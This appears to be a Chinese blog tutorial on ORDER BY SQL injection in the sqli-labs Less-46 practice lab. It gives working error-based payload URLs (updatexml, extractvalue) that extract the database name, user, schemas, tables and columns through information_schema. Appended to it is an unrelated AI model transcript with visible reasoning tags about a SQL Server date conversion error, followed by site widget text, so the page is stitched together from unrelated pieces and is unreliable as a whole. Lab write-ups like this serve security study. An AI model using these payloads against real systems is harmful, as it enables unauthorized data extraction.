sql-lib之order by 注入

本文介绍了判断order by之后是否存在注入的方法,即通过在参数后加asc或desc观察顺序是否改变。还阐述了正式注入的过程,包括判断order by后参数的影响,构造三种形式的playload,因回显信息有限需使用盲注,最后介绍了找关键数据库、表和列的注入方法。

前言:


如何判断是否存在order by之后的注入?
在参数后面加个asc(结果升序显示)、desc(结果降序显示)来观察其顺序是否改变就行了。顺序改变了,所以存在注入。
在这里插入图片描述在这里插入图片描述接下来我们进行正式注入:
一、
首先我们判断order by后面接的参数有没有影响,尝试注入:left(version(),1)和right(version(),1),发现结果没影响,说明后面参数随意。这里我们解释一下这两个函数:
1)
left()函数是一个字符串函数,它返回具有指定长度的字符串的左边部分。
left(str,length);
left()函数接受两个参数:
str是要提取子字符串的字符串。
length是一个正整数,指定将从左边返回的字符数。
2)
right函数与left一样在这里就不多说了。
3)构造playload有三种形式:
① 直接在sort的参数里注入,如:sort=(select username from users limit 0,1)–+,此时将会显示当前表的内容
这里要注意不论我们注入任何查询,结果能显示的基本都是有限的,我们无法查询到我们查询的信息,例如这里我们注入:sort=(select group_concat(email_id) from emails)–+,结果依旧是只能看当前表的内容。
所以这里就是相当于一种只有通过盲注才能获取到信息的状态,于是对于这种order by后的注入我们一般使用盲注,这里我们使用报错注入(当然其他盲注也都可以尝试):sort= (updatexml (1, concat (0x7e,(select database()),0x7e),1))–+
② 使用一些函数,如rand()等,例如:sort=rand(updatexml(1,concat(0x7e,(select database()),0x7e),1))–+,结果一样,就不赘述了。
③ 在后面加and,再加入其他语句,例如:sort=1 and updatexml (1,concat (0x7e, (select database()),0x7e),1)–+,结果也一样。
--------------------- !
二、
参数没有影响之后,我们进行注入
1)直接在sort的参数里注入:
http://127.0.0.1/sqli-labs-master/Less-46/?sort=(select username from users )--+
在注入的时候我们出现了这种情况,我们发现回显的信息是有限制的。也就是说我们在查询其他信息的时候可能查询不到。
在这里插入图片描述
我们换用一下方式:
http://127.0.0.1/sqli-labs-master/Less-46/?sort=(select username from users limit 0,1)--+
在这里插入图片描述因为我们有些信息是不能查到的,显示的信息有限。所以在这里我们需要应用盲注,比如报错注入、延时注入、等等。

http://127.0.0.1/sqli-labs-master/Less-46/?sort=(extractvalue(1,concat(0x3a,(select user()),0x3a)))–+

在这里插入图片描述二、
找关键数据库,由于回显示的信息不能太多所以我们只能运用limit
http://127.0.0.1/sqli-labs-master/Less-46/?sort=(extractvalue(1,concat(0x3a,(select schema_name from information_schema.schemata limit 1,1),0x3a)))–+
在这里插入图片描述找关键的表
http://127.0.0.1/sqli-labs-master/Less-46/?sort=(extractvalue(1,concat(0x3a,(select table_name from information_schema.tables limit 1,1),0x3a)))–+
在这里插入图片描述找关键的列
http://127.0.0.1/sqli-labs-master/Less-46/?sort=(extractvalue(1,concat(0x3a,(select column_name from information_schema.columns limit 1,1),0x3a)))–+
在这里插入图片描述至此,注入结束。

<think>嗯,用户遇到了一个SQL执行错误,我得仔细看看这个问题。首先,错误信息是“Conversion failed when converting date and/or time from character string”,这说明在日期时间转换上出了问题。用户提供的SQL语句中有一个参数{end_time},可能在执行的时候被替换成一个字符串值,但数据库无法将其正确转换为日期时间类型。 接下来,我需要检查SQL语句的结构。用户用了DLCH.dbo.CH_MainDt表,条件部分包括YWNRId的范围和CreateTime小于等于某个结束时间。问题可能出在CreateTime的比较上,特别是{end_time}的格式是否正确。比如,如果替换进去的字符串格式不符合SQL Server的要求,比如不是'YYYY-MM-DD HH:mm:ss'这样的格式,就会导致转换失败。 另外,用户使用了单引号包裹{end_time},这在SQL中是必须的,但可能输入的日期字符串里有什么特殊字符,或者格式不对。例如,月份用了MMM缩写而不是数字,或者日期部分顺序不对。还有可能时区的问题,不过一般SQL Server默认是服务器时区。 另一个可能性是字段类型不匹配。比如CreateTime是datetime或datetime2类型,但传入的字符串无法解析为对应的类型。需要确认{end_time}的实际值是什么,比如是否有正确的日期和时间部分,是否包含毫秒等。 用户提到的错误代码241和DB-Lib的错误消息,这些都是SQL Server相关的,说明问题出在客户端传递的参数值上。可能是在代码中拼接SQL的时候,没有正确格式化日期时间,或者区域设置导致格式不一致。 解决方法方面,首先要确保{end_time}的值是正确的日期时间字符串,符合SQL Server的要求。可以使用CONVERT或CAST函数显式转换,或者在代码中使用参数化查询,而不是拼接字符串,这样能避免格式问题。此外,检查数据库的日期格式设置,确保与输入的字符串一致。 可能用户的应用层代码中,end_time变量被替换时没有正确格式化,比如用了本地化的日期格式,如'DD/MM/YYYY',而SQL Server期望的是'MM/DD/YYYY'或其他格式,导致转换错误。这时候需要统一使用ISO 8601标准格式,如'YYYY-MM-DDTHH:mm:ss',或者在传入前进行验证。 总结起来,关键点在于检查{end_time}的实际值是否正确,格式是否符合数据库要求,以及是否应该使用参数化查询来避免此类问题。同时,查看SQL Server的错误日志,获取更详细的错误信息,也能帮助定位问题。</think>这个错误是 SQL Server 在执行日期时间转换时发生的类型不匹配问题。以下是分步解析和解决方案: --- ### **错误原因分析** 1. **错误代码 241** `Conversion failed when converting date and/or time from character string` 表示 SQL Server 无法将输入的字符串转换为有效的日期时间格式。 2. **关键问题位置** 错误指向 `CreateTime <= '{end_time}'` 这个条件: - `{end_time}` 替换后的字符串格式与数据库字段 `CreateTime` 的日期时间类型不兼容 - 例如:输入了 `2023-13-32`(非法日期)或 `2023/12/31`(格式不匹配) 3. **潜在陷阱** - 使用字符串拼接(如 `'{end_time}'`)而非参数化查询,易受格式和注入攻击影响 - 客户端与数据库的日期格式区域设置不一致 --- ### **逐步解决方案** #### **1. 验证日期时间格式** 确保 `{end_time}` 的值符合 **ISO 8601 标准**: $$ \text{YYYY-MM-DDTHH:mm:ss} \quad \text{(例如:2023-12-31T23:59:59)} $$ ```sql -- 测试直接替换值是否合法 SELECT * FROM DLCH.dbo.CH_MainDt WHERE ((YWNRId BETWEEN 1 AND 41) OR (YWNRId BETWEEN 85 AND 97)) AND (CreateTime <= '2023-12-31T23:59:59') ORDER BY CreateTime ``` #### **2. 使用显式类型转换** 通过 `CONVERT` 或 `CAST` 强制指定日期格式: ```sql SELECT * FROM DLCH.dbo.CH_MainDt WHERE ((YWNRId BETWEEN 1 AND 41) OR (YWNRId BETWEEN 85 AND 97)) AND (CreateTime <= CONVERT(DATETIME, '{end_time}', 120)) -- 120 对应 ISO 8601 格式 ORDER BY CreateTime ``` #### **3. 参数化查询(推荐)** 避免字符串拼接,改用参数化查询(以 Python 为例): ```python import pyodbc end_time = "2023-12-31 23:59:59" query = """ SELECT * FROM DLCH.dbo.CH_MainDt WHERE ((YWNRId BETWEEN 1 AND 41) OR (YWNRId BETWEEN 85 AND 97)) AND (CreateTime <= ?) ORDER BY CreateTime """ cursor.execute(query, (end_time,)) ``` #### **4. 检查数据库区域设置** 通过 SQL 查询服务器日期格式: ```sql SELECT @@LANGUAGE AS 'Language', DATEFORMAT AS 'DateFormat' ``` 若服务器使用 `dmy` 格式(日/月/年),而输入为 `mdy`(月/日/年),需统一格式。 --- ### **附加建议** 1. **启用 SQL 日志** 检查 SQL Server 错误日志(路径:`Management -> SQL Server Logs`)获取详细错误堆栈。 2. **测试边界值** 用硬编码日期替换 `{end_time}`,验证是代码问题还是数据问题。 3. **防御性编程** 在应用层添加日期格式校验逻辑,例如正则表达式: ```regex ^\d{4}-\d{2}-\d{2}(T\d{2}:\d{2}:\d{2})?$ ``` --- 通过以上步骤,可定位并修复日期时间转换问题。如果问题仍存在,建议提供实际的 `{end_time}` 替换值进一步分析。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值